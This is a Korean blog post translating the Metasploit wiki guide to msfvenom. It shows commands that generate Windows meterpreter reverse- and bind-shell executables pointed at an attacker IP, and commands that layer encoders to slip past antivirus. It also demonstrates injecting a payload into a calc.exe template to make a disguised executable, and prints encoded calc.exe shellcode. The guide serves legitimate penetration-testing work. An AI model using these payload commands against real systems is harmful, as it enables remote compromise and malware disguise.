본문 바로가기
일상속힐링/Tools

msfvenom을 이용한 쉘코드 생성 방법

by 사이테일 2019. 2. 27.


출처 : https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom


msfvenom 사용 방법(How to use msfvenom)

'msfvenom' 은 페이로드 생성 및 인코딩에 유용하게 사용할 수 있는 도구다. 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합됐다.
msfvenom -h를 입력해 지원하는 옵션을 확인할 수 있다.

$ msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, thus performing a subtraction to prepend a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

페이로드 생성 방법(How to generate a payload)

페이로드를 생성하기 위해서는 -p-f 두 개의 플래그를 사용해야 한다.

  • The -p flag: 어떤 페이로드를 생성할지 구체화한다.

생성가능한 페이로드의 프레임워크를 확인하기 위해서는 다음의 명령어를 사용할 수 있다:

msfvenom -l payloads

-p 플래그는 사용자 정의 페이로드를 승인하기 위해 "-" 또한 지원한다:

cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
  • The -f flag: 페이로드의 포맷을 구체화한다.
    Syntax example:
    ./msfvenom -p windows/meterpreter/bind_tcp -f exe

지원하는 포맷을 확인하기 위해 다음의 명령줄을 사용할 수 있다:

./msfvenom --help-formats

일반적으로 msfvenom을 사용하는 방법은 다음과 같다:

$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

페이로드 인코딩 방법(How to encode a payload)

기본적으로, 인코딩 기능은 -b 플래그(badchar flag)를 사용하면 자동으로 실행된다. 그 외에는 다음과 같이 -e 플래그를 사용하면 된다.

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

사용가능한 인코더 리스트를 출력하려면 다음과 같이 -l 플래그를 사용하면 된다.

./msfvenom -l encoders

-i 플래그를 사용하여 페이로드를 여러번 인코딩 할 수도 있다. 때때로 이러한 반복(iterations)을 통해 안티바이러스를 우회할 수도 있지만, 실제로 인코딩은 AV 솔루션을 회피하기 위함은 아니다.

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

특정 문자를 피하는 방법(How to avoid bad characters)

-b 플래그는 특정 문자를 피하기 위해 사용된다. 이 옵션을 사용하면 msfvenom은 페이로드를 인코딩할 적절한 인코더를 자동으로 탐색한다.

./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

사용자정의 템플릿을 지원하는 방법(How to supply a custom template)

기본적으로 msfvenom은 /msf/data/templates 디렉토리의 템플릿을 사용한다. 커스텀 템플릿을 사용하기 위해 다음과 같이 -x 플래그를 사용할 수 있다.

./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

참고: 만약 윈도우용 x64 사용자정의 템플릿 페이로드를 만들고 싶다면, exe 포맷 대신 exe-only를 사용해야 한다.

./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

-x 플래그는 템플릿에서 새로운 스레드로 페이로드를 실행하게 해주는 -k 플래그와 종종 페어를 이룬다. 하지만 이는 x86 윈도우XP와 같은 구형 머신에서만 신뢰할 수 있다.

msfvenom 출력을 연결하는 방법(How to chain msfvenom output)

이전의 msfpayloadmsfencode 유틸리티는 여러 인코딩의 순서 레이어(order layer)에서 사용되는 경우가 많았다. 이 또한 msfvenom을 사용해 가능하다.

./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe

msfvenom을 이용한 windows(calc.exe) 파이썬 쉘코드 생성 예시

$ msfvenom -p windows/exec CMD=calc.exe -f python -e x86/shikata_ga_nai -b '\x00\xff'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes
buf =  ""
buf += "\xbd\x3e\x35\x07\x2c\xdb\xdc\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x31\x31\x6a\x13\x83\xea\xfc\x03\x6a\x31\xd7"
buf += "\xf2\xd0\xa5\x95\xfd\x28\x35\xfa\x74\xcd\x04\x3a\xe2"
buf += "\x85\x36\x8a\x60\xcb\xba\x61\x24\xf8\x49\x07\xe1\x0f"
buf += "\xfa\xa2\xd7\x3e\xfb\x9f\x24\x20\x7f\xe2\x78\x82\xbe"
buf += "\x2d\x8d\xc3\x87\x50\x7c\x91\x50\x1e\xd3\x06\xd5\x6a"
buf += "\xe8\xad\xa5\x7b\x68\x51\x7d\x7d\x59\xc4\xf6\x24\x79"
buf += "\xe6\xdb\x5c\x30\xf0\x38\x58\x8a\x8b\x8a\x16\x0d\x5a"
buf += "\xc3\xd7\xa2\xa3\xec\x25\xba\xe4\xca\xd5\xc9\x1c\x29"
buf += "\x6b\xca\xda\x50\xb7\x5f\xf9\xf2\x3c\xc7\x25\x03\x90"
buf += "\x9e\xae\x0f\x5d\xd4\xe9\x13\x60\x39\x82\x2f\xe9\xbc"
buf += "\x45\xa6\xa9\x9a\x41\xe3\x6a\x82\xd0\x49\xdc\xbb\x03"
buf += "\x32\x81\x19\x4f\xde\xd6\x13\x12\xb4\x29\xa1\x28\xfa"
buf += "\x2a\xb9\x32\xaa\x42\x88\xb9\x25\x14\x15\x68\x02\xea"
buf += "\x5f\x31\x22\x63\x06\xa3\x77\xee\xb9\x19\xbb\x17\x3a"
buf += "\xa8\x43\xec\x22\xd9\x46\xa8\xe4\x31\x3a\xa1\x80\x35"
buf += "\xe9\xc2\x80\x55\x6c\x51\x48\xb4\x0b\xd1\xeb\xc8"